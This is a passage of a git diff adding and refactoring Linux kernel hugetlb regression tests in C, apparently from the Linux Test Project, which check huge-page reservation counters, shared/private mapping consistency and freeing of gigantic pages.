sig_expected); + } else { + tst_res(TFAIL, "Unexpected signal %s", strsignal(signum)); + } +} + +static int test_write(void *p) +{ + volatile char *pl = p; + + if (sigsetjmp(sig_escape, 1)) { + /* We got a SIGBUS */ + return 1; + } + + sig_expected = p; + barrier(); + *pl = 's'; + return 0; +} + +static void run_test(void) +{ + int nr_hugepages; + int surp_hugepages; + int ret; + char *p, *q; + struct sigaction sa = { + .sa_sigaction = sig_handler, + .sa_flags = SA_SIGINFO, + }; + + nr_hugepages = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + + SAFE_SIGACTION(SIGBUS, &sa, NULL); + + p = SAFE_MMAP(NULL, hpage_size * nr_hugepages, + PROT_READ | PROT_WRITE, MAP_SHARED, fd1, 0); + + tst_res(TINFO, "Reserve all hugepages %d", nr_hugepages); + + q = SAFE_MMAP(NULL, hpage_size, + PROT_READ | PROT_WRITE, MAP_SHARED | MAP_NORESERVE, fd2, 0); + + tst_res(TINFO, "Write to %p to steal reserved page", q); + + surp_hugepages = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SURP); + ret = test_write(q); + if (ret == 1) { + tst_res(TPASS, "Successful with SIGSEGV received"); + goto cleanup; + } + + /* Provisioning succeeded because of overcommit */ + if (SAFE_READ_MEMINFO(MEMINFO_HPAGE_SURP) == + surp_hugepages + 1) { + tst_res(TPASS, "Successful because of surplus pages"); + goto cleanup; + } + + tst_res(TFAIL, "Steal reserved page"); +cleanup: + SAFE_MUNMAP(p, hpage_size * nr_hugepages); + SAFE_MUNMAP(q, hpage_size); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); + fd1 = tst_creat_unlinked(MNTPOINT, 0); + fd2 = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + if (fd1 >= 0) + SAFE_CLOSE(fd1); + if (fd2 >= 0) + SAFE_CLOSE(fd2); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap28.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap28.c new file mode 100644 index 00000000..060d1c85 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap28.c @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2013 LG Electronics. + * Author: Joonsoo Kim + */ + +/*\ + * [Description] + * + * Test to correct handling for reserve count. If no reserved mapping is + * created to reserved file region, it should be considered as reserve + * mapping. Otherwise, reserve count will be overflowed. + */ + +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +static long hpage_size; +static int fd = -1; + +static void run_test(void) +{ + unsigned long initial_resv, end_resv; + int fd; + char *p, *q; + + initial_resv = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + + fd = tst_creat_unlinked(MNTPOINT, 0); + p = SAFE_MMAP(NULL, hpage_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + + q = SAFE_MMAP(NULL, hpage_size, + PROT_READ | PROT_WRITE, MAP_SHARED | MAP_NORESERVE, fd, 0); + + *q = 's'; + + SAFE_MUNMAP(p, hpage_size); + SAFE_MUNMAP(q, hpage_size); + SAFE_CLOSE(fd); + + end_resv = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + + TST_EXP_EQ_LU(initial_resv, end_resv); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap29.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap29.c new file mode 100644 index 00000000..6bff2c8e --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap29.c @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * The test do mmap() with shared mapping and write. It matches the data + * with private mmap() and then change it with other data. It checks + * shared mapping data if data is not contaiminated by private mapping. + * Similiarly checks for private data if it is not contaminated by changing + * shared mmap data. + */ + +#include "hugetlb.h" + +#define C1 0x1234ABCD +#define C2 0xFEDC9876 + +#define MNTPOINT "hugetlbfs/" +static unsigned long hpage_size; +static int fd = -1; + +static void run_test(void) +{ + void *p, *q; + unsigned int *pl, *ql; + unsigned long i; + + fd = tst_creat_unlinked(MNTPOINT, 0); + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + fd, 0); + + pl = p; + for (i = 0; i < (hpage_size / sizeof(*pl)); i++) + pl[i] = C1 ^ i; + + q = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, + fd, 0); + + ql = q; + for (i = 0; i < (hpage_size / sizeof(*ql)); i++) { + if (ql[i] != (C1 ^ i)) { + tst_res(TFAIL, "Mismatch at offset %lu, got: %u, expected: %lu", + i, ql[i], C1 ^ i); + goto cleanup; + } + } + + for (i = 0; i < (hpage_size / sizeof(*ql)); i++) + ql[i] = C2 ^ i; + + for (i = 0; i < (hpage_size / sizeof(*ql)); i++) { + if (ql[i] != (C2 ^ i)) { + tst_res(TFAIL, "PRIVATE mismatch at offset %lu, got: %u, expected: %lu", + i, ql[i], C2 ^ i); + goto cleanup; + } + } + + for (i = 0; i < (hpage_size / sizeof(*pl)); i++) { + if (pl[i] != (C1 ^ i)) { + tst_res(TFAIL, "SHARED map contaminated at offset %lu, " + "got: %u, expected: %lu", i, pl[i], C1 ^ i); + goto cleanup; + } + } + + memset(p, 0, hpage_size); + + for (i = 0; i < (hpage_size / sizeof(*ql)); i++) { + if (ql[i] != (C2 ^ i)) { + tst_res(TFAIL, "PRIVATE map contaminated at offset %lu, " + "got: %u, expected: %lu", i, ql[i], C2 ^ i); + goto cleanup; + } + } + tst_res(TPASS, "Successfully tested shared/private mmaping and its data"); +cleanup: + SAFE_MUNMAP(p, hpage_size); + SAFE_MUNMAP(q, hpage_size); + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap30.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap30.c new file mode 100644 index 00000000..7ed9046f --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap30.c @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 IBM Corporation. + * Author: Mel Gorman + */ + +/*\ + * [Description] + * + * readahead() on some kernels can cause the reservation counter to get + * corrupted. The problem is that the pages are allocated for the + * reservation but not faulted in at the time of allocation. The + * counters do not get updated and effectively "leak". This test + * identifies whether the kernel is vulnerable to the problem or not. + * It's fixed in kernel by commit f2deae9d4e70. + */ + +#define _GNU_SOURCE +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +static long hpage_size; +static int fd = -1; + +static void run_test(void) +{ + void *p; + unsigned long initial_rsvd, map_rsvd, readahead_rsvd, end_rsvd; + + fd = tst_creat_unlinked(MNTPOINT, 0); + initial_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + fd, 0); + map_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "map_rsvd: %lu", map_rsvd); + + readahead(fd, 0, hpage_size); + readahead_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "readahead_rsvd: %lu", readahead_rsvd); + + memset(p, 1, hpage_size); + + SAFE_MUNMAP(p, hpage_size); + SAFE_CLOSE(fd); + end_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + + TST_EXP_EQ_LU(end_rsvd, initial_rsvd); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "f2deae9d4e70"}, + {} + }, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {1, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap31.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap31.c new file mode 100644 index 00000000..9072e9de --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap31.c @@ -0,0 +1,76 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * This test is basic shared mapping test. Two shared mappings are created + * with same offset on a file. It checks if writing to one mapping can be + * seen to other mapping or not? + */ + +#include "hugetlb.h" + +#define RANDOM_CONSTANT 0x1234ABCD +#define MNTPOINT "hugetlbfs/" + +static long hpage_size; +static int fd = -1; + +static void run_test(void) +{ + void *p, *q; + unsigned long *pl, *ql; + unsigned long i; + + fd = tst_creat_unlinked(MNTPOINT, 0); + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + fd, 0); + + q = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + fd, 0); + + pl = p; + for (i = 0; i < (hpage_size / sizeof(*pl)); i++) + pl[i] = RANDOM_CONSTANT ^ i; + + ql = q; + for (i = 0; i < (hpage_size / sizeof(*ql)); i++) { + if (ql[i] != (RANDOM_CONSTANT ^ i)) { + tst_res(TFAIL, "Mismatch at offset %lu, Got: %lu, Expected: %lu", + i, ql[i], RANDOM_CONSTANT ^ i); + goto cleanup; + } + } + + tst_res(TPASS, "Successfully tested data between two shared mappings"); +cleanup: + SAFE_MUNMAP(p, hpage_size); + SAFE_MUNMAP(q, hpage_size); + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap32.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap32.c new file mode 100644 index 00000000..d27e5b8b --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap32.c @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023, IBM Corporation. + * Author: Tarun Sahu + */ + +/*\ + * [Description] + * + * Before kernel version 5.10-rc7, there was a bug that resulted in a "Bad Page + * State" error when freeing gigantic hugepages. This happened because the + * struct page entry compound_nr, which overlapped with page->mapping in the + * first tail page, was not cleared, causing the error. To ensure that this + * issue does not reoccur as struct page keeps changing and some fields are + * managed by folio, this test checks that freeing gigantic hugepages does not + * produce the above-mentioned error. + */ + +#define _GNU_SOURCE +#include + +#include + +#include "hugetlb.h" + +#define PATH_HUGEPAGE "/sys/kernel/mm/hugepages" +#define GIGANTIC_MIN_ORDER 10 + +static int org_g_hpages; +static char g_hpage_path[4096]; + +static void run_test(void) +{ + if (FILE_PRINTF(g_hpage_path, "%d", 1)) + tst_brk(TCONF, "Can't update the gigantic hugepages."); + SAFE_FILE_PRINTF(g_hpage_path, "%d", 0); + + if (tst_taint_check()) + tst_res(TFAIL, "Freeing Gigantic pages resulted in Bad Page State bug."); + else + tst_res(TPASS, "Successfully freed the gigantic hugepages"); +} + +static void setup(void) +{ + DIR *dir; + struct dirent *ent; + unsigned long hpage_size; + + if (access(PATH_HUGEPAGE, F_OK)) + tst_brk(TCONF, "hugetlbfs is not supported"); + + dir = SAFE_OPENDIR(PATH_HUGEPAGE); + while ((ent = SAFE_READDIR(dir))) { + if ((sscanf(ent->d_name, "hugepages-%lukB", &hpage_size) == 1) && + is_hugetlb_gigantic(hpage_size * 1024)) { + sprintf(g_hpage_path, "%s/%s/%s", PATH_HUGEPAGE, + ent->d_name, "nr_hugepages"); + break; + } + } + if (!g_hpage_path[0]) + tst_brk(TCONF, "Gigantic hugepages not supported"); + + SAFE_CLOSEDIR(dir); + + SAFE_FILE_PRINTF("/proc/sys/vm/drop_caches", "3"); + SAFE_FILE_PRINTF("/proc/sys/vm/compact_memory", "1"); + + if (tst_available_mem() < (long long)hpage_size) { + g_hpage_path[0] = '\0'; + tst_brk(TCONF, "No enough memory for gigantic hugepage reservation"); + } + + SAFE_FILE_LINES_SCANF(g_hpage_path, "%d", &org_g_hpages); +} + +static void cleanup(void) +{ + if (g_hpage_path[0]) + SAFE_FILE_PRINTF(g_hpage_path, "%d", org_g_hpages); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "ba9c1201beaa"}, + {"linux-git", "a01f43901cfb"}, + {} + }, + .needs_root = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .taint_check = TST_TAINT_B, +}; diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c index 8273ede8..3a50e6b5 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c +++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat01.c @@ -180,5 +180,5 @@ static struct tst_test test = { .test = verify_hugeshmat, .setup = setup, .cleanup = cleanup, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c index 11000a4f..e79d682f 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c +++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat02.c @@ -107,5 +107,5 @@ static struct tst_test test = { .test = verify_hugeshmat, .setup = setup, .cleanup = cleanup, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c index 5aca7dab..9de92573 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c +++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat03.c @@ -101,5 +101,5 @@ static struct tst_test test = { .test_all = verify_hugeshmat, .setup = setup, .cleanup = cleanup, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c index b76da93a..8ad745d5 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c +++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c @@ -27,8 +27,6 @@ static long huge_free; static long huge_free2; -static long hugepages; -static long orig_shmmax = -1, new_shmmax; static void shared_hugepage(void); @@ -81,35 +79,19 @@ static void shared_hugepage(void) static void setup(void) { - long mem_total, hpage_size, orig_hugepages; - - if (tst_hugepages == 0) - tst_brk(TCONF, "Not enough hugepages for testing."); + long hpage_size, orig_hugepages; + unsigned long new_shmmax; orig_hugepages = get_sys_tune("nr_hugepages"); - mem_total = SAFE_READ_MEMINFO("MemTotal:"); - SAFE_FILE_SCANF(PATH_SHMMAX, "%ld", &orig_shmmax); - SAFE_FILE_PRINTF(PATH_SHMMAX, "%ld", (long)SIZE); - SAFE_FILE_SCANF(PATH_SHMMAX, "%ld", &new_shmmax); - - if (mem_total < 2L*1024*1024) - tst_brk(TCONF, "Needed > 2GB RAM, have: %ld", mem_total); + SAFE_FILE_SCANF(PATH_SHMMAX, "%lu", &new_shmmax); if (new_shmmax < SIZE) - tst_brk(TCONF, "shmmax too low, have: %ld", new_shmmax); + tst_brk(TCONF, "shmmax too low, have: %lu", new_shmmax); hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024; - hugepages = orig_hugepages + SIZE / hpage_size; - tst_request_hugepages(hugepages); - if (tst_hugepages != (unsigned long)hugepages) - tst_brk(TCONF, "No enough hugepages for testing."); -} - -static void cleanup(void) -{ - if (orig_shmmax != -1) - SAFE_FILE_PRINTF(PATH_SHMMAX, "%ld", orig_shmmax); + struct tst_hugepage hp = { orig_hugepages + SIZE / hpage_size, TST_NEEDS }; + tst_reserve_hugepages(&hp); } static struct tst_test test = { @@ -122,7 +104,11 @@ static struct tst_test test = { .needs_tmpdir = 1, .tcnt = 3, .test = test_hugeshmat, + .min_mem_avail = 2048, .setup = setup, - .cleanup = cleanup, - .request_hugepages = 1, + .hugepages = {1, TST_NEEDS}, + .save_restore = (const struct tst_path_val[]) { + {PATH_SHMMAX, "1073741824", TST_SR_TCONF_MISSING | TST_SR_TBROK_RO}, + {} + }, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c index 7152e336..3b2ae351 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c +++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c @@ -35,9 +35,6 @@ static long hpage_size; void setup(void) { - if (tst_hugepages != test.request_hugepages) - tst_brk(TCONF, "Not enough hugepages for testing."); - page_size = getpagesize(); hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024; } @@ -91,7 +88,7 @@ static struct tst_test test = { .needs_tmpdir = 1, .test_all = test_hugeshmat, .setup = setup, - .request_hugepages = N + 1, + .hugepages = {N+1, TST_NEEDS}, .tags = (const struct tst_tag[]) { {"linux-git", "091d0d55b286"}, {"linux-git", "af73e4d9506d"}, diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c index 56f3a73d..a68b0da7 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c +++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c @@ -53,10 +53,10 @@ static void func_set(void); static void func_rmid(void); static void *set_shmat(void); -struct tcase { +static struct tcase { int cmd; - void (*func_test) (void); - void (*func_setup) (void); + void (*func_test)(void); + void (*func_setup)(void); } tcases[] = { {IPC_STAT, func_stat, stat_setup_1}, {IPC_STAT, func_stat, stat_setup_2}, @@ -90,7 +90,7 @@ static void test_hugeshmctl(unsigned int i) /* * set_shmat() - Attach the shared memory and return the pointer. */ -void *set_shmat(void) +static void *set_shmat(void) { void *rval; @@ -103,8 +103,8 @@ void *set_shmat(void) /* * stat_setup_2() - Set up for the IPC_STAT command with shmctl(). - * Attach the shared memory to parent process and - * some children will inherit the shared memory. + * Attach the shared memory to parent process and + * some children will inherit the shared memory. */ static void stat_setup_2(void) { @@ -139,7 +139,7 @@ static void stat_setup_1(void) /* now we're back - detach the memory and exit */ if (shmdt(test) == -1) tst_brk(TBROK | TERRNO, - "shmdt in stat_setup()"); + "shmdt in this function broke"); exit(0); default: @@ -220,7 +220,8 @@ static void stat_cleanup(void) /* remove the parent's shared memory if we set*/ if (attach_to_parent) { if (shmdt(attach_to_parent) == -1) - tst_res(TFAIL | TERRNO, "shmdt in stat_cleanup()"); + tst_res(TFAIL | TERRNO, + "shmdt in this function failed"); attach_to_parent = NULL; } } @@ -244,7 +245,7 @@ static void func_set(void) { /* first stat the shared memory to get the new data */ if (shmctl(shm_id_1, IPC_STAT, &buf) == -1) { - tst_res(TFAIL | TERRNO, "shmctl in func_set()"); + tst_res(TFAIL | TERRNO, "shmctl in this function failed"); return; } @@ -268,18 +269,18 @@ static void func_rmid(void) { /* Do another shmctl() - we should get EINVAL */ if (shmctl(shm_id_1, IPC_STAT, &buf) != -1) - tst_brk(TBROK, "shmctl in func_rmid() " + tst_brk(TBROK, "shmctl in this function " "succeeded unexpectedly"); if (errno != EINVAL) - tst_res(TFAIL | TERRNO, "shmctl in func_rmid() failed " + tst_res(TFAIL | TERRNO, "shmctl in this function failed " "unexpectedly - expect errno=EINVAL, got"); else - tst_res(TPASS, "shmctl in func_rmid() failed as expected, " + tst_res(TPASS, "shmctl in this function failed as expected, " "shared memory appears to be removed"); shm_id_1 = -1; } -void setup(void) +static void setup(void) { long hpage_size; @@ -293,7 +294,7 @@ void setup(void) shmkey = getipckey(); } -void cleanup(void) +static void cleanup(void) { rm_shm(shm_id_1); } @@ -310,5 +311,5 @@ static struct tst_test test = { .cleanup = cleanup, .test = test_hugeshmctl, .needs_checkpoints = 1, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c index 8a4c8bc2..d3f71112 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c +++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c @@ -27,6 +27,7 @@ #include #include #include "hugetlb.h" +#include "lapi/syscalls.h" static size_t shm_size; static int shm_id_1 = -1; @@ -34,7 +35,7 @@ static int shm_id_2 = -1; static int shm_id_3 = -1; static struct shmid_ds buf; -struct tcase { +static struct tcase { int *shmid; int cmd; struct shmid_ds *sbuf; @@ -50,9 +51,37 @@ struct tcase { {&shm_id_2, -1, &buf, EINVAL}, }; +static int libc_shmctl(int shmid, int cmd, void *buf) +{ + return shmctl(shmid, cmd, buf); +} + +static int sys_shmctl(int shmid, int cmd, void *buf) +{ + return tst_syscall(__NR_shmctl, shmid, cmd, buf); +} + +static struct test_variants +{ + int (*shmctl)(int shmid, int cmd, void *buf); + char *desc; +} variants[] = { + { .shmctl = libc_shmctl, .desc = "libc shmctl()"}, +#if (__NR_shmctl != __LTP__NR_INVALID_SYSCALL) + { .shmctl = sys_shmctl, .desc = "__NR_shmctl syscall"}, +#endif +}; + static void test_hugeshmctl(unsigned int i) { - TEST(shmctl(*(tcases[i].shmid), tcases[i].cmd, tcases[i].sbuf)); + struct test_variants *tv = &variants[tst_variant]; + + if (tcases[i].error == EFAULT && tv->shmctl == libc_shmctl) { + tst_res(TCONF, "EFAULT is skipped for libc variant"); + return; + } + + TEST(tv->shmctl(*(tcases[i].shmid), tcases[i].cmd, tcases[i].sbuf)); if (TST_RET != -1) { tst_res(TFAIL, "shmctl succeeded unexpectedly"); return; @@ -70,8 +99,11 @@ static void test_hugeshmctl(unsigned int i) static void setup(void) { + struct test_variants *tv = &variants[tst_variant]; long hpage_size; + tst_res(TINFO, "Testing variant: %s", tv->desc); + if (tst_hugepages == 0) tst_brk(TCONF, "No enough hugepages for testing."); @@ -101,6 +133,7 @@ static void cleanup(void) static struct tst_test test = { .test = test_hugeshmctl, + .test_variants = ARRAY_SIZE(variants), .tcnt = ARRAY_SIZE(tcases), .needs_root = 1, .needs_tmpdir = 1, @@ -110,5 +143,5 @@ static struct tst_test test = { }, .setup = setup, .cleanup = cleanup, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c index f7dd4345..ec464068 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c +++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c @@ -41,10 +41,10 @@ static size_t shm_size; static int shm_id_1 = -1; static struct shmid_ds buf; -static uid_t ltp_uid; -static char *ltp_user = "nobody"; +static uid_t test_uid; +static char *test_user = "nobody"; -struct tcase { +static struct tcase { int *shmid; int cmd; struct shmid_ds *sbuf; @@ -68,7 +68,7 @@ static void test_hugeshmctl(void) switch (pid = SAFE_FORK()) { case 0: /* set the user ID of the child to the non root user */ - SAFE_SETUID(ltp_uid); + SAFE_SETUID(test_uid); do_child(); exit(0); default: @@ -97,7 +97,7 @@ static void do_child(void) } } -void setup(void) +static void setup(void) { long hpage_size; @@ -115,10 +115,10 @@ void setup(void) tst_brk(TBROK | TERRNO, "shmget"); /* get the userid for a non root user */ - ltp_uid = getuserid(ltp_user); + test_uid = getuserid(test_user); } -void cleanup(void) +static void cleanup(void) { rm_shm(shm_id_1); } @@ -134,5 +134,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = test_hugeshmctl, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c b/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c index 287e5990..0b9515fd 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c +++ b/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c @@ -152,5 +152,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = hugeshmdt_test, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c index 2a440f79..62735651 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c +++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c @@ -78,5 +78,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = test_hugeshmget, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c index 11497d15..bbd968c0 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c +++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c @@ -98,5 +98,5 @@ static struct tst_test test = { .cleanup = cleanup, .test = test_hugeshmget, .tcnt = ARRAY_SIZE(tcases), - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c index 72d8701f..625761f6 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c +++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c @@ -84,7 +84,7 @@ static void cleanup(void) rm_shm(shm_id_arr[i]); if (orig_shmmni != -1) - FILE_PRINTF(PATH_SHMMNI, "%ld", orig_shmmni); + SAFE_FILE_PRINTF(PATH_SHMMNI, "%ld", orig_shmmni); } static struct tst_test test = { @@ -96,5 +96,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = test_hugeshmget, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c index 91e30afa..33631960 100755 --- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c +++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c @@ -92,5 +92,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = test_hugeshmget, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/lib/hugetlb.c b/testcases/kernel/mem/hugetlb/lib/hugetlb.c index 1204f21d..43a677ce 100755 --- a/testcases/kernel/mem/hugetlb/lib/hugetlb.c +++ b/testcases/kernel/mem/hugetlb/lib/hugetlb.c @@ -111,3 +111,22 @@ void rm_shm(int shm_id) tst_res(TINFO, "id = %d", shm_id); } } + +#define RANDOM_CONSTANT 0x1234ABCD +int do_readback(void *p, size_t size, char *desc) +{ + unsigned int *q = p; + size_t i; + + for (i = 0; i < (size / sizeof(*q)); i++) + q[i] = RANDOM_CONSTANT ^ i; + + for (i = 0; i < (size / sizeof(*q)); i++) { + if (q[i] != (RANDOM_CONSTANT ^ i)) { + tst_res(TFAIL, "At \"%s\": Mismatch at offset 0x%lx: 0x%x " + "instead of 0x%lx", desc, i, q[i], RANDOM_CONSTANT ^ i); + return -1; + } + } + return 0; +} diff --git a/testcases/kernel/mem/hugetlb/lib/hugetlb.h b/testcases/kernel/mem/hugetlb/lib/hugetlb.h index f75109f3..34fe08c2 100755 --- a/testcases/kernel/mem/hugetlb/lib/hugetlb.h +++ b/testcases/kernel/mem/hugetlb/lib/hugetlb.h @@ -20,6 +20,8 @@ #include "old_tmpdir.h" #include "mem.h" +#define PALIGN(p, 